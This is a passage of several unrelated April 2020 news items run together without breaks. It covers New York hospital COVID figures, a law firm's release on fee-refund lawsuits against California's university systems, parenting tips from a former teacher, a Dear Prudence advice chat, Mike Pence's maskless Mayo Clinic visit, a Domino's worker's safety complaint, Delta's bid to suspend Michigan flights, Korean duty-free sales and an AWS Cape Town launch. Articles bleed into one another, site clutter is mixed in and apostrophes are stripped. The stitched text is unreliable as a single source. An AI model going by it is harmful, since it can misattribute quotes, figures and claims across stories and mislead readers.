patients in its ICU at its North and South campuses for coronavirus related illnesses. The mayor said Tuesday that the citys daily indicators showed the city was starting to show some serious progress in its fight against the coronavirus. He called Tuesday a good day as the number of people being admitted into hospitals citywide dipped from 122 on April 25 to 112 on Tuesday. The number of people in ICU beds in the citys public hospitals dropped from 766 on April 25 to 745. Meanwhile, the number of New Yorkers testing positive for coronavirus fell from 27% to 25%. But the number of people testing positive for the virus in the citys public health labs slightly increased by 1% from 55% on April 25 to 56%. FOLLOW SYDNEY KASHIWAGI ON TWITTER. *** CLICK HERE FOR COMPLETE COVERAGE OF CORONAVIRUS IN NEW YORK *** [April 28, 2020] DiCello Levitt: California University Systems Sued on Behalf of More Than 700,000 Students for Refusing to Refund Fees in Wake of Coronavirus Pandemic The two major California university systems, which serve more than 700,000 students, have profited from the ongoing coronavirus pandemic by refusing to refund unused portions of their campus fees, according to a pair of lawsuits filed today in federal court in California. The class actions, filed against California State University (CSU) and the University of California (UC), assert that the universities they oversee should have refunded prorated portions of students' campus fees after the universities were forced to close their campuses in the wake of the public health crisis. CSU operates 23 campuses throughout the state with an endowment of nearly $2 billion, while the UC system includes 10 campuses and has an endowment of more than $21 billion. As has become routine nationwide, the CSU and UC systems announced in March that due to the global COVID-19 pandemic, all classes would be moved online for the remainder of the Spring 2020 semester. Students who lived in on-campus housing were either told they had to move out or were encouraged to do so. Because all coursework was moved online, there was no reason for students to remain on campus if they had other housing available to them, particularly as nearly all services their fees covered were suspended. Most students, therefore, chose to leave campus to be closer to their families, or to avoid potential exposure to COVID-19. Despite ending all campus activities for at least that same period, CSU and UC have unfairly and unlawfully refused to offer refunds for the unused portion of their mandatory campus fees-a decision that harms hundreds of thousands of students and their families. These fees covered student use of health facilities, health services, instructional related activities, student success fees, student association dues, and the use of student centers, among others. Depending on campus location, fees for the 2019-2020 academic year at CSU ranged from $847 to $4,201, while UC students paid a base student services fee of $1,128, plus additional campus-specific fees, typically totaling an additional $2,000-$4,000. The lawsuits seek disgorgement of the prorated, unused amounts of campus fees that the class members paid. "While both CSU and UC were initially responsible in closing their campuses, it is improper for them to attempt to retain what amounts to many millions of dollars in aggregate in campus fees they collected from their students, even though they terminated the services that these fees covered," said Adam Levitt, partner at DiCello Levit Gutzler, and co-counsel for the plaintiffs. "A college education is already a monumental expense for students and their families, and to essentially offer them no relief on these material expenditures, particularly during a time when millions of Americans are struggling financially, is not only tone-deaf but unfair and unlawful. Students' lives have already been turned upside down by this crisis and the decisions of CSU and UC only serve to exacerbate their pain. Through these lawsuits, we encourage CSU and UC to reconsider their positions and make more fair, legal, and empathetic decisions for their students and their families." In March, DiCello Levitt Gutzler, together with Matthew S. Miller LLC, filed the nation's first lawsuit on these issues against the Arizona Board of Regents, which oversees the University of Arizona, Arizona State University and Northern Arizona University. Since then, they have filed similar class actions against Liberty University over the actions of its president, Jerry Falwell Jr.; and Grand Canyon University, a Phoenix-based private university. "Thousands of universities and colleges throughout the nation have made fair and appropriate decisions regarding refunds of student fees and room and board payments," said Miller, co-counsel to the plaintiffs. "We understand that these institutions face their own financial pressures and that this situation is not easy for anyone. But that doesn't make it right for CSU, UC or any of these schools to pass their losses on to students. Many of these universities have multi-million- or billion-dollar endowments to sustain them. Students and their families do not have the same resources." In addition to Levitt and Miller, the plaintiffs are represented by Amy E. Keller and Laura E. Reasons, also of DiCello Levitt Gutzler LLC; and C. Moze Cowper and Noel E. Garcia of Cowper Law PC. The cases are Akayla Miller v. Board of Trustees of the California State University, in the U.S. District Court of the Central District of California, Western Division, Case No. 2:20-cv-03833; and Claire Brandmeyer v. The Regents of the University of California in the U.S. District Court for the Northern District of California, Oakland Division, Case. No. 4:20-cv-02886. A copy of the complaints can be provided upon request and the attorneys are available for media interviews. About DiCello Levitt DiCello Levitt combines excellence in commercial litigation, class action litigation, mass tort litigation, catastrophic injury litigation, medical malpractice litigation, and civil rights litigation. Practicing nationwide-and internationally-from offices in Chicago, Cleveland, New York, and St. Louis, we are an aggressive, attentive, and creative plaintiffs' firm whose work speaks for itself-billions of dollars in recoveries in some of the highest-profile matters in U.S. history. Revered by clients and respected by defense counsel, our team gets results. About Matthew S. Miller LLC Matthew S Miller LLC is a litigation boutique founded by Matthew Miller to provide high-caliber, personalized representation for individuals and businesses in all matters of dispute. The firm launched in March 2020 in response to the coronavirus pandemic to help people and businesses protect their rights during this crisis. Matt has been practicing law for more than twenty years, having worked in major law firms and at the highest levels inside of public companies, and he has successfully tried cases to verdict, handled appeals and negotiated favorable resolutions for clients in their most important and difficult matters. Trusted by clients and respected by colleagues, Matt is an attorney you want on your side. About Cowper Law PC Cowper Law PC is a boutique law firm based in Los Angeles. The firm is comprised of former civil defense attorneys who have worked at Fortune 100 companies and some of the largest defense firms in the country - but decided to switch sides and take on exclusively plaintiff focused complex litigation. The firm and its lawyers have been recognized in the highly regarded Chambers USA and Chambers Global as "exceptional," "very well respected, particularly among judges" and have also been recognized for their "strong knowledge of technology and e-discovery." View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005646/en/ [ Back To TMCnet.com's Homepage ] A 'recovering' primary school teacher who worked in the profession for 15 years in Australia has shared the message she wants all parents to hear this school term. Mum-of-two Gabbie Stroud, 42, from New South Wales, said the most important thing for parents to remember while they are trying to 'juggle' their own work at home with trying to keep their kids up to speed with learning during the coronavirus pandemic is they are not teachers. 'Teachers don't do this. Teachers don't teach in a home environment with a small group of siblings and inadequate resources,' Gabbie told Mamamia. A 'recovering' primary school teacher who worked in the profession for 15 years in Australia shared the message she wants all parents to hear this school term (Gabbie Stroud pictured) 'Teachers are qualified professionals who teach in specially designated spaces, with resources to support their work and large groups of unrelated students.' Parents trying to mimic the environment of their kids' schools should give themselves a 'break', Gabbie explained. Most parents forget that 'teaching is a profession', and she added, it's a 'pretty demanding gig at that'. Gabbie (pictured with her book) said parents shouldn't look to emulate teachers, because they are not teachers in any way, shape or form. They have a very different working environment Instead of focusing on what they're not managing, Gabbie said there are a few 'hacks' for parents which will help them with both getting their own work done and managing their children from home. What are Gabbie's 'hacks' for keeping kids informed at home? 1. BUSY WORK: Make sure you have plenty of 'busy work' around the house for when you need half an hour to yourself. 'Busy work' is something your kids can do by themselves that gives them a sense of achievement like colouring in or board games. 2. PRE-EMPTIVE STRIKES: Teachers often use the 'pre-emptive strike' as a way to deal with children. This means tackling a problem before it becomes a major issue. You could do this by way of daily family meetings. 3. (SOME) SCREEN TIME: A little screen time is not necessarily a bad thing, Gabbie explained, but aim for educational things like documentaries where possible. Advertisement The first hack is 'busy work' - or any 'easy but time consuming task that occupies a child'. She suggests finding things that your kids can do by themselves that will give them a sense of achievement, without you having to sacrifice hours of your time. Gabbie said some good examples include colouring in, Sudoku puzzles, knitting and board games. Secondly, the ex-teacher said you could try the 'pre-emptive strike', which is often used by teachers as a way to identify problems before they become major issues and how teachers deal with things before they get out of hand. Gabbie said you could put this into practice by having a family meeting each morning to come up with solutions. Finally, the 42-year-old said you shouldn't be afraid of a little screen time, provided it's educational. Documentaries are often a safe bet if you want them to learn something while they are watching a screen. Gabbie (pictured) quit teaching because of a moment where she issued a standardised test to a 'little one' who knew she was going to fail an exam Previously, Gabbie shared the moment that forced her to leave teaching for good. Gabbie is the author of several books (pictured) on the state of the education system While she said she loved teaching and working with kids, she said she felt she had to quit one day when she issued a standardised test to a 'little one' who she knew was going to fail the exam. 'I knew he was going to fail because the way he had been parented and his home life meant that he came to school probably 12 months behind where most of the other students were presenting at,' Gabbie told The Morning Show. 'At the end of the testing regime, the little one was looking at me like "Who are you? Where is my teacher? Why aren't you supporting me?" 'And that was a terrible moment for me as a teacher. It created a whole heap of anxiety and heartbreak.' At the end of 2014, she handed in her notice and turned her back on the job she once loved. Five years after she left teaching, Gabbie is the author of several books on the subject - including her latest Dear Parents, which offers messages to parents and advice on what they should know. The 42-year-old also discusses the fact that the current system is letting down children and parents, and breaking dedicated would-be teachers. Dear Parents attempts to show how you as a parent can help your child to progress in school. For more information about Gabbie Stroud, please visit her website here. Slate is now asking those who read the most to support our journalism more directly by subscribing to Slate Plus. Learn more. Dear Prudence is online weekly to chat live with readers. Heres an edited transcript of this weeks chat. Danny Lavery: Hi, everyone. Weve made it another weeklets chat! Q. Should I stay or go? Im a straight cis woman. Ive been dating this wonderful man for almost five months. Before this, I was single for about five years. He makes me so happy. We have so much in common, and for the first three months of our relationship I felt supported, cared for, and like I finally had someone in my corner. COVID-19 quite understandably threw everything up in the air. He has been separated from his wife for a year but has begun talking to her again and since the beginning of the crisis has pulled away from me. I am really hurt. While this crisis has crystallized my love for him, its perhaps crystallized his for his ex. I have told him I need a partner right now and want to be a partner for him. He has told me that hes not sure hes ready and doesnt know when he will be. Advertisement Advertisement Advertisement Advertisement Should I leave? Hes everything I want, but every day is painful and miserable knowing that hes talking to her, that hes missing his old life, and that were regressing. It also feels like this crisis is the worst time to make a decision like this and Im not thinking clearly. I cant escape from this desperate need to seek comfort and companionship from him and am constantly experiencing whiplash when its withdrawn. A: You dont sound to me like youre having trouble thinking clearly. You sound like youre in pain and like you really wish this guy would change his mind, but it doesnt seem like youre misreading the situation or like youve asked inappropriate questions at inopportune times. You say that every day is miserable with this guy because you know hes calling up his wife and reinvesting in that relationship. Youve told him straight up that what you want is a partner, and hes told you in return that he has no idea if hell ever want to commit to you. Clarity is not missing from this situation. Youre thinking clearly, and hes speaking clearly. He hasnt taken the step to cut that final tie, but hes told you what you can expect from him, and its not a partnership. Advertisement Advertisement Advertisement I understand that part of you hopes its just the stress of the present moment causing him to regress, and wonders if you can just wait it out a few more weeks so things will possibly settle down and hell snap out of his rediscovered love for his wife. But theres no guarantee that COVID-19 is going to settle down anytime soon, and I dont think you can secure his affections by waiting patiently and hoping he changes his mind. Give me a call if you ever change your mind, followed by a clean break, is probably the kindest and most self-respecting way out of this interminable situation. Maybe hell change his mind in a few months, maybe he wontbut I dont think you should settle for distracted, halfhearted commitment in the meantime. Advertisement Advertisement Advertisement How to Get Advice From Prudie: Send questions for publication to prudence@slate.com. (Questions may be edited.) Join the live chat Mondays at noon. Submit your questions and comments here before or during the discussion. Call the voicemail of the Dear Prudence podcast at 401-371-DEAR (3327) to hear your question answered on a future episode of the show. Advertisement Advertisement Q. Hair dye or me: Is it a mistake to break up with your girlfriend because she dyes her hair while youre sheltering in place together? Erica insists on bleaching and dying her own hair, despite the fact that she hasnt the patience or skills to do the complex looks she wants. Then shes mopey through two attempts to save the hair, until she cuts it off. Plus, she refuses to clean the tub because she thinks it isnt dirty, because its just color. But I hate it, so I get to spend an hour scrubbing the grout. It always gets on my nerves, but it happens two or three times a year so its just one of those things she does that bugs me. Like, I burn pans when I make soup in the winter, and it drives her up the wall. You dont break up over stuff like that, though. Except, shes already dyed her hair once since we were told to quarantine and now shes going to do it again. I think if she does, Im going to just burn this relationship down and divide our schedule so we never see each other. Is that an overreaction or not? Obviously, sheltering in place has made me less than tolerant right now. Or has it just compressed everything to give me a view of the future? Is how annoyed I am right now exactly how annoyed Ill be in 10 years when she gives me our kid to keep distracted while she goes to ruin another bathroom? Advertisement Advertisement Advertisement Advertisement A: I realize this isnt the main part of your problem, but if you keep the heat relatively on medium low, use a heavy-bottomed pot, and stir frequently when youre making soup, youll stop burning your pans. Also, here a few methods for cleaning burned pans so they look like new againthis is not an insurmountable problem but a relatively easy fix! Any couple that lives together is going to eventually run into relatively low-stakes issues that, for whatever reason, drive them absolutely up the wall. You are of course allowed to break up with Erica if you feel like things just arent going anywhere, but I wonder if first you two can have an honest conversation about how you deal with difficult issues: I realize you dont think of hair dye as being dirty, and this only happens a few times a year, but it really bothers me to see the tub stained over something so avoidable, and to know that Ill be spending an hour scrubbing it off. I know things are really stressful right now, and I dont want to make a mountain out of a molehill, but I really want your attention and help about this because I feel isolated and disrespected. I know I do things, like burn the pans, that are really frustrating for you too, and I want to stop doing that because I know how it feels. Advertisement Advertisement Advertisement If its possible for the two of you to just admit that X drives me crazy and it might not be the biggest deal in the world, but it would really go a long way toward making me feel cared for and respected if you did these two relatively small-scale things to take care of it, without trying to assign blame or get defensive, you might make some real progress. Any partner you live with is going to have some habits that drive you nuts. That doesnt mean you have to stay with Erica forever, but this will come up in future relationships, so its probably best to get a head start on it now. Advertisement Advertisement Q. Passive job hunting: I was let go from my job amid the COVID-19 outbreak. Im in my early 30s. Ive had a job since I was 14 and have never been let go before. It feels horrible. It is extremely unlikely my former employer will be able to hire me back once things stabilize. I was a senior vice president for a major corporation. I think whats confusing me even more right now is Im in a weird funk thats a combination of being stunned, depressed, and almost lazy? Between unemployment and my savings, Im in a fairly fortunate spot. I will be able to pay my bills just fine through the end of the year. That said, Im not in any rush to find a job. Initially I was frantically applying to anything that fit into my general spherebut many, many hours of that led to emails from every single company indicating they are no longer hiring for the roles due to the changing circumstances. Im no longer motivated and almost want to take this as an opportunity to reevaluate my career path. This makes me feel like crap, though, as I feel like I should be dedicating my time to nothing else but finding a job. If I take some time to decompress from this, so to speak, is that OK? The chances of finding another job at my level right now are slim to none, and I have been employed without any gaps for 17 years. I guess what Im asking for is permission to stop and smell the roses (with a face mask on, of course). Advertisement Advertisement A: You can certainly have it, although I dont think what youre describing quite counts as smelling the roses: Youre contemplating taking some time to reevaluate your career path and figure out what other fields or roles you might be suited for. Thats still time dedicated toward the general prospect of finding a job. The weird funk makes a great deal of sense to me, given the circumstances. Youre not facing an immediate financial crisis, and this strategy should hopefully make the job-searching process a little easier when eventually you do start applying again. I say go for it, and good luck. Advertisement Q. I dont want to go home: I am a college student. I live on a campus far away from my parents, and Im happy with this arrangement. However, due to this COVID-19 situation, my parents are extremely worried about my health and want me to go back to live with them. I know its safer for me to go back to my parents home, but I have no love for them. I know if I go back there I will be depressed, and I never feel the greatest when I stay there. Im afraid to say this to them. Ive never received emotional support from them; they dont understand the importance of emotional support. I stay in touch with them only out of obligation. I know they love me the only way they know how to love, and I hate that I feel this way. But I really do not want to go home for the sake of my mental health. What do I tell them? Advertisement Advertisement Advertisement A: Since you dont mention that youre dependent on your parents, Ill assume that youre able to continue sheltering in place, even against their wishes, without running into financial trouble. You certainly dont have to tell your parents, If I go back home with you, Ill be miserable, in order to stay where you are. You have a number of explanations available to you, from I appreciate your concern. Im really safe here, but Ill be sure to let you know if I need anything to I think its safer for me to stay here than to risk traveling to you right now, to something as bland and open-ended as Thank you so much for the offer. I really appreciate it, and Ill let you know if I think its necessary. Advertisement Advertisement Q. Invasive questions: My boyfriend of eight months, Adrian, has a skin condition that causes his scar tissue to be darker, raises it from the rest of the skin, and makes it very noticeable. His hands are heavily scarred from cooking burns, job accidents, childhood injuries, etc. Hes a bit insecure about it, but Ive assured him that his scars are just another part of him I love. But recently I took Adrian to a family event, and I was horrified by how many of my relatives thought it was acceptable to comment on his scars! One of my aunts even gasped aloud and asked what happened to him. I would expect that behavior from kids in the family, but certainly not from adultsI was embarrassed and upset by my familys behavior. Adrian handled it very well, as hes used to fielding those kinds of rude and personal questions, but am I overreacting to be worried about introducing him to the rest of my family? Is there a way to ask my family members not to comment on his scars? Advertisement Advertisement A: Im so sorry your relatives treated Adrian so rudely. You certainly can ask the rest of them not to comment on his scars. All you have to do is say, Im really excited for you to meet Adrian. Im embarrassed to even have to mention this because Im sure it would never enter your head to do such a thing, but sometimes when Ive introduced Adrian to friends of mine, theyve asked very rude and intrusive questions about his scars. But I know youll be friendly, polite, and beautifully mannered when you meet him. You always are. Q. The new neighbor: I live in a condo that has thin walls (didnt learn that until after we bought the place). Adding insulation is not an option. A week or so before we began social distancing, an elderly woman moved into the unit that backs up to ours. The layout is such that our master bedrooms and bathrooms back up to each other. I have seen her and waved to her, but theres been no formal Hi, my name is or any of that. Im actually one of the people in the condo who doesnt participate in many of the activities around here anyway because Im one of the few with school-age children and most of the others here are older and retired. I believe this woman is hard of hearing, as I have been awakened on the weekends to a morning show (I recognize the theme music) and I can tell what shes watching on the weekday mornings. In the afternoons, my husband or I will end up in the bedroom to do something for work since were all trying to do our own thing in a two-bedroom condo, and we have a son who is finishing the school year through distance learning. Shes got the television on and we can hear it in the afternoon. There are times when I have needed to nap, and even with a white noise machine and while listening to thunderstorms through noise-canceling earbuds, I can still hear her television. It also sounds like she might have the TV set to a timer function or shes just a night owl, because her TV is still going at 1:30. Advertisement Advertisement Advertisement Advertisement We have a rule at our condo that smokers arent allowed to smoke on their patios because the smoke drifts and that means that if you smoke, I might not be able to enjoy my patio. When that rule went into effect, some people (the smokers) really got upset. Im not a smoker, but I understood: The homeowners association was telling people what they couldnt do on their own property. This isnt the same thing, though. This is an older woman who is likely hard of hearing. And I havent even met her formally yet, but her television is making sleep challengingand if she cant hear the TV, then of course the volume is going to be higher. Im chronically ill and sympathetic to those who live with conditions they cannot control. I also need my sleep. The condo was only used seasonally before this woman bought it, so we really didnt have this problem until now. How do I approach this situation? I know I need to be delicate, but I cant figure out the right thing to say without coming across like a complete bitch. Advertisement A: This is a challenge because I think the real problem here is that your condo has incredibly thin walls. It may be that even if youre able to have a friendly conversation with her and shes receptive to your request and turns the volume down, the noise still carries into your bedroomultimately theres a limit on how quiet she can be. That doesnt mean you cant or shouldnt ask! Just prepare for even cheerful compliance on her part to be an imperfect solution. You two are already on a friendly waving-hello basis, so the next time she waves at you, introduce yourself (staying a minimum of 6 feet away from her, etc.), ask how shes holding up, chat companionably for a minute or two, and then make your request. You can cushion it with a lot of Im sorry to ask about this and Would you mind terribly? and blaming the thin walls, but its a perfectly reasonable request. (It should go without saying that you do not need to mention your theory that she is hard of hearing; maybe she is and maybe she isnt, but you dont need to speculate during this conversation). Advertisement Advertisement Advertisement If shes amenable, great! I hope it makes a big difference. But telling your neighbor, You may not have realized this, but our shared wall is quite thin, and the sound of your TV comes right into our bedroomis there any chance you could turn down the volume? is not a bitchy move. Its a neighborly request! Q. Kicking out a tenant in a pandemic: I opened my house and let this young girl live in my bedroom attic for six months. She was living in her car during winter because she refuses to live with her dad. She was basically homeless. I felt bad for her. We have a written shared house agreement for six months only, and it will end on June 30. We agreed not to renew. I dont want to get sued for kicking her out during this coronavirus outbreak. I am not kicking her out due to nonpayment, but because we agreed in writing and verbally that shes only staying in my house for six months. I also had some issues with her, like her not cleaning her room so when she opens her door it stinks up my entire house. I have OCD and am a clean-freak person. I dont like having her in my house anymore because of her poor hygiene, and I have a compromised immune system as well. She doesnt clean her dishes and is always giving me reason to want her to move out. Again, my only concern is, am I going to be in trouble for kicking my tenant out during the coronavirus, even if its not due to nonpayment? Advertisement Advertisement Advertisement A: How can I avoid legal trouble for evicting a tenant is not a question for an advice columnist but for a lawyer with a detailed knowledge of eviction laws in your city and state. Advertisement Q. Re: Passive job hunting: I was in a similar spot a few years ago. My frantic job hunt led me to a role that was financially lucrative but slowly sucked out my soul and made me miserable. Take the time you need and find a really good fit. Its not worth going from the frying pan into the fire for the sake of finding anything at all just so you can say you did. A: With the one caveat that the job market today looks pretty different than how it looked a few years ago, I think this is good advice! The fact that the letter writer is having trouble even getting an interview for the type of job they used to have and no longer want seems to be a pretty good indicator that a change is called for. Advertisement Q. Re: The new neighbor: She should definitely mention it to the neighbor! As someone with hearing issues, Ive definitely found that my recently acquired hearing aids make a big difference; I have lowered the volume on my set quite a bit. There are also subtitles that you can switch on to help. The woman may not even realize how loud the TV is. Advertisement A: Im so glad these have proved helpful for you! I do think the letter writer should wait to suggest these alternatives unless and until their neighbor volunteers any information about their hearing or displays a willingness to try turning down the volume, because I think opening with Your TV is awfully loud. Are you hard of hearing? I think subtitles would help is too forceful. But maybe someone else is reading whos struggling with the same thing and finds this useful. And who knows! Maybe the neighbor will mention having a hard time following along with the TV and our the letter writer will be able to offer these suggestions at just the right moment. Advertisement Advertisement Q. Re: Passive job hunting: I think people need to remember that unemployment is being paid by taxpayer dollars. So I understand not applying to as many jobs, but part of taking unemployment is actively applying for employment. Now is clearly a different time, but I think its important to remember where your unemployment is coming from: hardworking people who want to give a helping hand. If youre are able to work and can get a job, then take it. Advertisement Advertisement A: The letter writer should of course do whatever is necessary to comply with the formal requirements for receiving unemployment. Within those restrictions, if theyre looking for permission to not spend every waking moment applying for jobs they know theyre not going to pursue, they can certainly have it. If, in addition to sending out applications to jobs they know theyre unlikely to get, the letter writer wants to focus the rest of their energies on developing a new strategy for switching industries, I think thats a great idea. Advertisement Discuss this column on our Facebook page! Classic Prudie Q. Should I tell my BFF I slept with her husband? Laura and I have been best friends since we were 10. Four years ago her husband, James, needed my help on a work-related matter and came over without Laura, who was busy with something else. It involved a very difficult and tedious task, and we decided to make it more tolerable by bringing out some wine. That night James and I ended up sleeping together. I always had a small, harmless crush on James but never in my wildest dreams fantasized about acting on it until that night. We both felt very guilty afterward. I even tried to cut off contact with Laura for awhile, but she kept calling me in tears asking what shed done wrong. I feel horrible, and I am not even attracted to James anymore. We avoid each other as best as we can. Im struggling with whether I should confess to Laura or not. I cant get over what I did, but should I tell her? Read what Prudie had to say. Danny M. Laverys new book, Something That May Shock and Discredit You, is out now. Vice President Mike Pence did not wear a face mask during his visit to the Mayo Clinic in Rochester, Minnesota, on Tuesday, despite a clinic policy that requires all visitors to do so. The latest: Pence told reporters amid backlash, "As vice president of the United States I'm tested for the coronavirus on a regular basis, and everyone who is around me is tested for the coronavirus." Pence said he is following CDC guidelines that note that masks are helpful for preventing those who have the virus from spreading it. "And since I don't have the coronavirus, I thought it'd be a good opportunity for me to be here, to be able to speak to these researchers, these incredible healthcare personnel, and look them in the eye and say thank you," he added. Why it matters: Pence was the only member of his entourage not to wear a mask, according to a White House pool report. The Mayo Clinic tweeted that it had informed the vice president about its mask policy prior to his visit, but later deleted the tweet. The big picture: The White House announced earlier this month that the CDC would recommend Americans wear cloth masks or face coverings in public to help stop the spread of the coronavirus. President Trump emphasized at the time that the guidance was "voluntary" and said that he would likely not abide by the recommendation. According to pool reports, Pence has not publicly worn a mask once during the pandemic despite traveling across the country. The president hasn't worn one either, but he has not engaged in the same amount of travel as Pence. Pence's office did not immediately respond to a request for comment. Firms across Northern Ireland have introduced strict social distancing rules since the start of the outbreak A man who worked at a local branch of Domino's Pizza has told how he left his job because of fears over a lack of social distancing measures. The staff member said some precautions had been taken at the branch where he worked, including making it a delivery-only operation to prevent people coming into the building. Plastic screens were also hung from the ceiling to divide areas of the shop. However, he said these measures did not go far enough because the busy premises had "too many bodies and not enough floor space to maintain social distancing". "Domino's Pizza, as far as I'm aware, is the last big-name food chain still open during the coronavirus crisis," said the former employee, who did not wish to be identified. "As a result, trade is much busier than normal as paying customers have limited options as an alternative to cooking. Between 6pm and 9pm employees in the store are constantly on top of each other, not to mention the transmission risk on surfaces, door handles and shared tools and utensils Former Domino's Pizza worker "This means that the shop is very busy, to the extent that online orders have to be switched off at the height of a busy tea time rush so as not to swamp the already overworked staff members. "Between 6pm and 9pm employees in the store are constantly on top of each other, not to mention the transmission risk on surfaces, door handles and shared tools and utensils." The former employee branded the decision to keep trading "reckless" and said staff were concerned for their families. He added: "This is highlighted by the fact one employee is considering moving out of her parents' house at short notice during the health crisis to protect her father, who has been advised by his doctor to isolate himself for 12 weeks. "I'm speaking about one store, but this is not a standalone issue. There are 31 Domino's stores in Northern Ireland and more than 1,000 across the UK, with at least 30 to 40 employees in each." A company spokesperson said the firm was "fully compliant with social distancing rules outlined by local authorities". "The health and safety of our colleagues and customers is paramount," he added. Under health and safety at work legislation, local councils have enforcement responsibilities for a number of premises, including restaurants and takeaway food shops. Powers to close premises fall under the Health Protection (Coronavirus, Restrictions) Regulations (Northern Ireland) 2020. These regulations set out the requirements to close specific types of premises and businesses during the emergency. Domino's has also denied sacking staff for raising concerns about health and safety during the crisis. Angharad Maddocks claimed at the start of the month that she was sacked from a branch in Llanelli, Wales, after complaining that social distancing rules were not being followed by the company. She is also reported to have raised concerns about a lack of personal protective equipment and hand sanitiser. The BBC reported that several staff there made similar complaints to a member of the Welsh Assembly. (This story has been updated to reflect where Delta flies from Flint.) FLINT, MI -- Delta Air Lines, which lost $534 million in the first three months of this year, wants to suspend all flights to and from Flint, Lansing and Kalamazoo without forfeiting money its receiving in response to the COVID-19 emergency. Delta said in a filing with the federal government Monday, April 27, that its seeking an exemption from the service operation agreement it reached with the Treasury Department earlier this year -- a deal that guaranteed a minimum number of flights in return for billions in federal money to help them cover payroll costs through September. Delta remains committed to ensuring that every community it serves will continue to receive convenient access to its domestic network during this public health emergency, the filing says. "However, nothing is more important to Delta than the safety of its employees and customers. During this pandemic, airport employees and crews must place themselves at risk to staff each flight and Delta seeks to reduce this risk as much as possible. One way Delta seeks to minimize health risks to its workforce is by limiting the number of airport stations that remain open for business during the COVID-19 health emergency to reduce the total number of airport staff who must report to frontline work. The request covers the three Michigan airports as well as airports in Melbourne, Florida; Worcester, Massachusetts; Brunswick, Georgia; Peoria, Illinois; Pocatello, Idaho; and Hilton Head, South Carolina. Delta said its business in those areas has dried up, flying an average of just eight passengers per day from April 1-22 from Flint, six from Lansing and five from Kalamazoo. In Flint, the airline flies to Atlanta. It serves Detroit and Minneapolis from Kalamazoo/Battle Creek, and flies from Detroit to Lansing. Members of the Bishop Airport Authority in Flint said Tuesday, April 28, that the request by Delta is just the latest marker in an airline industry thats been grounded by the coronavirus pandemic. About 2.3 million people passed through security checkpoints nationwide on March 1, unchanged from the same day last year, according to a recent report from The Associated Press. The numbers fell sharply lower from that point on, plunging below 100,000 by early April a drop of about 95 percent. I am really concerned with where this goes, said Bishop Airport Authority Chairman Winfield Cooper. I dont expect people to fly much ... until theres a vaccine for coronavirus. Im sorry, but thats the way I feel. We are in a very dynamic situation. Deltas filing with the Department of Transportation says it recognizes that granting its exemption request may result in an inconvenience for fliers who will have to drive farther to access its flights. However, that inconvenience is outweighed by the public health and safety of the employees that Delta is trying to protect, the airline filing says. This is especially true given the limited number of passengers who will be affected, as reflected in the passenger counts from the affected airports. The airline says fliers who would typically use the airport in Flint can still use Delta flights in Detroit, 74 miles away, and passengers from Kalamazoo/Battle Creek International Airport and Lansings Capital Region International Airport can travel less than 60 miles to flights in Grand Rapids. This is the second exemption request thats been filed for the Kalamazoo airport this month. United Airlines also petitioned the Department of Transportation on April 11 for an exemption that would allow them to suspend operations there without jeopardizing its federal funds. That request was rejected. Delta is aware that the Department recently denied Uniteds request for exemptions with respect to Green Bay, Gunnison, Ithaca, Kalamazoo, Santa Fe and Valparaiso, the airlines filing says. "United sought relief for those points for solely economic reasons, highlighting historically low load factors ... Here, by contrast, Delta seeks an exemption to protect the health and safety of airport staff by reducing their exposure to the health risks associated with COVID-19. Delta submits that the public interest in protecting airport workers from the risk of exposure to a potentially deadly virus outweighs the inconvenience of the additional driving distance to access Deltas network for such a small number of passengers. Craig Williams, director of the Kalamazoo airport, said officials there have not made a decision whether to file an official response to the Delta request to suspend flights and did not file a response to the United Airlines petition. Bishop Airport officials said they do not expect to file a response to the filing and agreed to drop all landing and terminal rental charges for airlines that continue to fly for at least the next three months. Any time that an airline is looking to leave a community, even temporarily, youre disappointed, Williams wrote in an email to The Journal. However, these are unprecedented times for the country, and specifically, for the aviation industry. Our strong business travel in Kalamazoo and southwest Michigan depends on air service to connect them with the world and Delta serves our region through Minneapolis and Detroit quite well. Delta said in an email to The Journal that its exemption request is focused on areas that are in markets served by multiple airports. These proposed changes will help reduce the number of our frontline employees at risk of exposure, while ensuring convenient access to Deltas network for those who must travel, the Delta statement says. "If the request is granted, Delta will work to re-accommodate customers; we also will provide pay protection for employees through Sept. 30, 2020. We continue to evaluate opportunities to take similar measures in other markets as needed. Kalamazoo airport loses 94% of passengers amid pandemic Flint Bishop Airport stays open, starts checking passenger temperatures South Korean duty-free stores saw their sales drop sharply in March due to the spread of the new coronavirus, industry data showed Tuesday. Combined sales of local duty-free shops shrank 1.3 percent on-month to 1.8 trillion won (US$1.5 billion) last month, according to the data from the Korea Duty Free Shops Association. The number is down 46.2 percent from January, the data showed. The number of visitors at duty-free outlets came to 587,879 last month, also down from 1.75 million in February, with foreigners accounting for 45 percent of the total. Industry sources voiced concerns that duty-free shops may see their sales shrink in April, given flight suspensions and travel bans across the globe. "Duty-free shops are expected to take a harder hit in April as entrants are under mandatory self-isolation measures, coupled with flight suspensions," said an official of the local duty-free shop who asked not to be named. Sales of duty-free shops have been hurt by the fast spread of COVID-19 since late January, which has made it impossible for small-scale Chinese vendors, their major customers, to visit South Korea. Those Chinese vendors sell their duty-free purchases in large quantities, mostly cosmetic products, to consumers back home. (Yonhap) In 2006, Amazon Web Services key component the Elastic Compute Cloud, or EC2 as it is more commonly known, was developed by a small team in a satellite development office in Cape Town, South Africa. This April 2020, EC2 came home with AWS expanding its global footprint with the opening of the AWS Africa (Cape Town) Region. AWS now spans 73 Availability Zones within 23 geographic regions worldwide. African organisations can now provide low latency services to end-users through the highest level of security, data protection, availability and compliance provided by the AWS Infrastructure Region in Cape Town. Synthesis Software Technologies, another South African success, is an AWS Partner supporting the region opening and is providing special launch offers in celebration. Synthesis, as a top-rated AWS Partner located in Johannesburg and Cape Town, is perfectly positioned to leverage the benefits of AWS for its customers. The innovative software development and consulting company has an impressive resume. It was the first AWS Advanced Consulting Partner in Africa and the Middle East as well as the first partner to achieve the AWS Financial Services and DevOps competencies in the region, and is part of the AWS Well-Architected Program. It also holds over 150 AWS certifications within the organisation. Over the past seven years, Synthesis has deliberately cultivated vast experience and expertise in helping customers from top financial services to large retailers adopt AWS at scale. We are committed to driving innovation in African businesses, in particular to partnering with customers to deliver the features, functionality and security their end-customers love and at a pace that keeps their customers engaged and loyal to their offerings, says Darryl Govender, Head of Synthesis Cloud Services. The launch of the new region enables more South African organisations to leverage advanced technologies such as Artificial Intelligence (AI) and Machine Learning (ML) to drive innovation and further digital journeys. Customers will now be able to confidently store data in the AWS South Africa region, while retaining full control over all data movement; therefore, complying with the upcoming Protection of Personal Information Act (POPIA). They will have secure 